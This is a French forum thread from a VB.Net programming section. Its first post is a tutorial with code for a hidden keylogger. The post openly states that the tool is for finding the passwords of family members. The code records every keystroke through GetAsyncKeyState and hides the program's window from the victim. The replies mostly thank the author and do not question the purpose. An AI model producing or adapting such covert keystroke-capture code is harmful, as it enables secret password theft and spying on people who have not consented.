Aller directement au contenu
  • Catégories
  • Récent
  • Mots-clés
  • Populaire
  • Web
  • Utilisateurs
  • Groupes
Habillages
  • Clair
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Sombre
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • Défaut (Aucun habillage)
  • Aucun habillage
Réduire
Melinyel

Melinyel

  1. Accueil
  2. Programmation
  3. Développement de logiciels
  4. VB.Net
  5. va pour enregistrer les frappes (j'ai reçu un coup)

va pour enregistrer les frappes (j'ai reçu un coup)

Planifié Épinglé Verrouillé Déplacé VB.Net
6 Messages 4 Publieurs 4.4k Vues
  • Du plus ancien au plus récent
  • Du plus récent au plus ancien
  • Les plus votés
Répondre
  • Répondre à l'aide d'un nouveau sujet
Se connecter pour répondre
Ce sujet a été supprimé. Seuls les utilisateurs avec les droits d'administration peuvent le voir.
  • mars073M Hors-ligne
    mars073M Hors-ligne
    mars073
    a écrit sur dernière édition par
    #1

    Bonjour,

    je vais vous expliquez comment faire un enregistreur de frappe.^^

    pour trouver le mot de passe de votre frère, votre mère, votre grand-père ou votre hamster...

    Il faut:

    -1 Form (Config: ShownInTaskbar=False; RightToLeftLayout=True; FormBorderStyle=None; Size=0; 0)

    -1 Textbox (Config: visible=False) (Ancrer le textbox en fessant un clique sur le petit carré avec un triangle dessus)

    -2 Timer (Config T1: Enabled=True; Interval=2) (Config T3: Enabled=True; Interval=100)

    -1 NotifyIcon (Config: Icon=[votre Icône Windows)

    -1 Icône windows de préférence

    KDO:

    un lien vers un site plein d'icône cool:

    ->Lien<- (lien icone windows)

    et c'est partit pour le code... u_u

    double clique sur la form pour afficher le code (oublier pas que il y a les textbox dessus, donc retirez le le temps de mettre le code) et au dessus, donc après Public Class [votre form]:

    Dim result As Integer
        Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    

    et dans l'handle (le code form_load):

    Timer1.Start()
            Timer2.Start()
            Me.Visible = False
    

    maintenant double clique sur le timer1 pour afficher le code et on met dedans :

    For i = 1 To 255
                result = 0
                result = GetAsyncKeyState(i)
                If result = -32767 Then
                    TextBox1.Text = TextBox1.Text + Chr(i) ' on ajout le caractère qui est envoyé par le clavier à la suite de deux déjà capté
                End If
            Next i
    

    Double clique sur le NotifyIcon1 pour afficher le code et on met dedans :

    Me.WindowState = FormWindowState.Normal
            Me.Height = 300 ' hauteur
            Me.Width = 300 'largeur
            Me.ShowInTaskbar = True 'affichage dans la barre de tâche
            Me.FormBorderStyle = Windows.Forms.FormBorderStyle.Sizable ' style de bords...
            Me.Visible = True ' si on l'affiche
            TextBox1.Visible = True ' si on affiche les caractères masqués
            Me.AllowTransparency = False
            Me.RightToLeft = Windows.Forms.RightToLeft.Inherit
            Me.Show()
    

    Double clique sur le Timer2 pour afficher le code et on met dedans :

     If Me.WindowState = FormWindowState.Minimized Then 'on test l'état de la fenêtre
                Me.Height = 0 'plein de paramètre chiant à expliquer
                Me.Width = 0
                Me.ShowInTaskbar = False
                Me.FormBorderStyle = Windows.Forms.FormBorderStyle.None
                Me.Visible = False
                TextBox1.Visible = False
                Me.AllowTransparency = True
                Me.RightToLeft = Windows.Forms.RightToLeft.Inherit
                'code by Mars073
            End If
    

    si vous cliquez sur play pour tester le programme il ne marchera par forcément, il faut le publier... les frappes ne sont pas très facile a lire mais d-quand on clique du effacer, ça ne supprime pas le texte enregistré.^^

    Et quand on a fini on fait un double clique sur l'icône et le texte enregistré.

    Bonne programmation à tous!

    Cordialement,

    Mars073

    votes-45296e7.png

    Aide à l'apprentissage et la réalisation pour des graphismes, des programmes, des sites ou autres.
    signature.png
    Signature aléatoire, proposez vous aussi une signature ici!

    1 réponse Dernière réponse
    2
    • AzadA Hors-ligne
      AzadA Hors-ligne
      Azad
      a écrit sur dernière édition par
      #2

      Merci du partage. 🙂

      +1 Rep.

      Administrateur du forum.

      Contactez-moi par message privé ou par mail.

      1 réponse Dernière réponse
      0
      • S Hors-ligne
        S Hors-ligne
        Soon
        a écrit sur dernière édition par
        #3

        Merci du partage mais essaye d'expliquer le code car la c'est du copier coller bête x)

        1 réponse Dernière réponse
        0
        • AzadA Hors-ligne
          AzadA Hors-ligne
          Azad
          a écrit sur dernière édition par
          #4

          Ça reste plutôt explicite, quand même.
          Mais si des explications sont nécessaires, pourquoi pas. 🙂

          Administrateur du forum.

          Contactez-moi par message privé ou par mail.

          1 réponse Dernière réponse
          0
          • D Hors-ligne
            D Hors-ligne
            Droby
            a écrit sur dernière édition par
            #5

            Bonjour,

            je vais vous expliquez comment faire un enregistreur de frappe.^^

            pour trouver le mot de passe de votre frère, votre mère, votre grand-père ou votre hamster...

            T'as quoi contre les hamster :@

            Sympa ! Un peu plus d'explication de code et c'est parfait.

            Bonne affaire ici

            1 réponse Dernière réponse
            0
            • mars073M Hors-ligne
              mars073M Hors-ligne
              mars073
              a écrit sur dernière édition par
              #6

              j'ai ajouté quelques commentaires mais bon comme là dit azad c'est assez explicite je montre juste la captation des entrées du clavier par l'utilisateur en utilisant la librairie windows ._.

              votes-45296e7.png

              Aide à l'apprentissage et la réalisation pour des graphismes, des programmes, des sites ou autres.
              signature.png
              Signature aléatoire, proposez vous aussi une signature ici!

              1 réponse Dernière réponse
              0

              Bonjour ! Vous semblez intéressé par cette conversation, mais vous n’avez pas encore de compte.

              Marre de refaire défiler les mêmes messages ? Créez un compte pour retrouver votre position, recevoir des notifications des nouvelles réponses, sauvegarder vos favoris et voter pour les messages que vous appréciez.

              Grâce à votre participation, ce message peut devenir encore meilleur 💗

              S'inscrire Se connecter
              Répondre
              • Répondre à l'aide d'un nouveau sujet
              Se connecter pour répondre
              • Du plus ancien au plus récent
              • Du plus récent au plus ancien
              • Les plus votés


              • Se connecter

              • Connectez-vous ou inscrivez-vous pour faire une recherche.
              Powered by NodeBB Contributors
              • Premier message
                Dernier message
              0
              • Catégories
              • Récent
              • Mots-clés
              • Populaire
              • Web
              • Utilisateurs
              • Groupes